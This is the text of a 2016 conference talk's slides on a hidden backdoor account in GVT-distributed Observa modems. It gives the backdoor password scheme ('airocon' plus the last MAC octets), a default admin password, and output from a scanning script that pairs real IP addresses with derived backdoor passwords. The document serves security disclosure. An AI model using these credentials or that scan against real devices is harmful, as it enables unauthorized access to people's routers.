[CB16] Who put the backdoor in my modem? by Ewerson Guimaraes

CONFIDENTIAL

Who put the backdoor in my router?

Ewerson Guimarães (Crash) / 2016

CONFIDENTIAL

Research Information

This talk was born in Área31 hackerspace.

All information contained here is public.

No one was hacked(cof cof)

CONFIDENTIAL

About Ewerson(Crash):

CONFIDENTIAL

Background...

CONFIDENTIAL

Background...

CONFIDENTIAL

Background...

CONFIDENTIAL

Background...

CONFIDENTIAL

Let’s start...

CONFIDENTIAL

We won't talk about the backdoor itself, so…

CONFIDENTIAL

Here is the backdoor...

CONFIDENTIAL

Usernames are equal but one is a backdoor account

CONFIDENTIAL

Transforming a single user in a backdoor...

CONFIDENTIAL

Let's analyze the hardware

CONFIDENTIAL

The Strange Device

Strange ID TAG!

CONFIDENTIAL

The strange Device

The device is approved by ANATEL (Brazilian National Telecomunication Agency)

CONFIDENTIAL

The strange Device

The device is approved by ANATEL (Brazilian National Telecomunication Agency)

CONFIDENTIAL

More strange stuff...

BayTech:

CONFIDENTIAL

BayTech:

18

CONFIDENTIAL


If you look for S&T Technology Shen Zhen .Co LTD:

CONFIDENTIAL


In the device manger you can see Observa Telecom but....

The vendor's website exists but it's a single branded blank page, without any other links to other areas such as manuals, support and firmware.

CONFIDENTIAL


Of course, he didn't reply (11)emails...

CONFIDENTIAL

More strange stuff..

This device is distributed by GVT (Global Village Telecom). According to GVT technical support and site, this modem/router is not supported by them.

Don’t belive? Take a look at:http://www.gvt.com.br/PortalGVT/Atendimento/Area-Aberta/Documentos/Lista-de-Modens

CONFIDENTIAL


Opening its firmware in hex viewer... Wow wait, it’s made by TPLINK??????

CONFIDENTIAL


The backdoor password: MAC Address last two octets + airocon string

CONFIDENTIAL


What is Airocon?

25

CONFIDENTIAL


What is Airocon?

CONFIDENTIAL


The last avaliable site (Mar. 2005)

CONFIDENTIAL


Do you remember the tag ID and Anatel seal?

28

Bingo! 41C3

CONFIDENTIAL

...and to finish this strange part...

Hadware vendor: Realtek

CONFIDENTIAL

Inside of backdoor...

Login with normal admin user ( admin:gtv12345)

The commands “sh” and "login show" are disabled.

CONFIDENTIAL

Inside of backdoor...When logged in with a backdoor account:

CONFIDENTIAL


The “login show” command shows the backdoor account (which is hidden on the web interface)

CONFIDENTIAL


Taking a closer look at the device’s memory it was possible to find some interesting information:

Redirection link to Chinese company:

Even after reset it was possible to retrieve the device’s previous user name:

The device saves neighbour network names:

CONFIDENTIAL


Sensitive data about GVT credential services:

CONFIDENTIAL


Furthermore, the admin page for the backdoor user is completely different from the common admin page.

CONFIDENTIAL


The factory default password is not admin:admin admin:12345 admin:

You can make the factory reset!The password stills: admin:gvt12345

CONFIDENTIAL

Outside of backdoor...

Shodan is your friend,or not...

Divice exposed in internet: Almost 5600

CONFIDENTIAL

Small shell script:

root@anubis:~# ./gvtfucker.shGVT RTN04 F*cker

Testing:177.206.29.204Backdoor password: airocon2533Testing:179.179.72.251Testing:189.113.134.199Backdoor password: airocon0E6BTesting:186.213.233.192Testing:186.215.19.197Testing:189.113.136.93Backdoor password: airoconCE4ATesting:189.113.138.111Testing:189.113.137.203Testing:189.26.50.164Testing:189.58.16.44Testing:191.248.83.225Testing:177.132.241.119Backdoor password: airocon02CCTesting:177.156.255.85Testing:177.156.36.116Backdoor password: airoconFA1ETesting:177.157.166.210Testing:187.59.45.9Testing:189.113.131.161Testing:189.113.131.197Testing:189.113.134.226Testing:189.113.137.32Testing:189.113.138.111Backdoor password: airoconDA32

CONFIDENTIAL


CONFIDENTIAL


CONFIDENTIAL

Inside again

CONFIDENTIAL

Updates....

After around 1 year later, the Observa site was updated.

CONFIDENTIAL

Updates....

After around 1 year later, the Observa site was updated.

CONFIDENTIAL

Updates....

I tryed another contact...

CONFIDENTIAL

How to fix

Change the backdoor flag,upload the file and neverreset to factory defaults.

OR / AND

Of course, disable the remote access.Hack the firmaware

CONFIDENTIAL

Considerations

AUDIT YOUR DECIVES!

BURN YOUR DEVICES!

FUZZ and F*CK YOUR DEVICES!

CONFIDENTIAL

And the golden question:

Who put the backdoor in my router?

CONFIDENTIAL

Questions?

Please, say your full name before to ask*.

* I have a Death Note.

CONFIDENTIAL

THANKS

49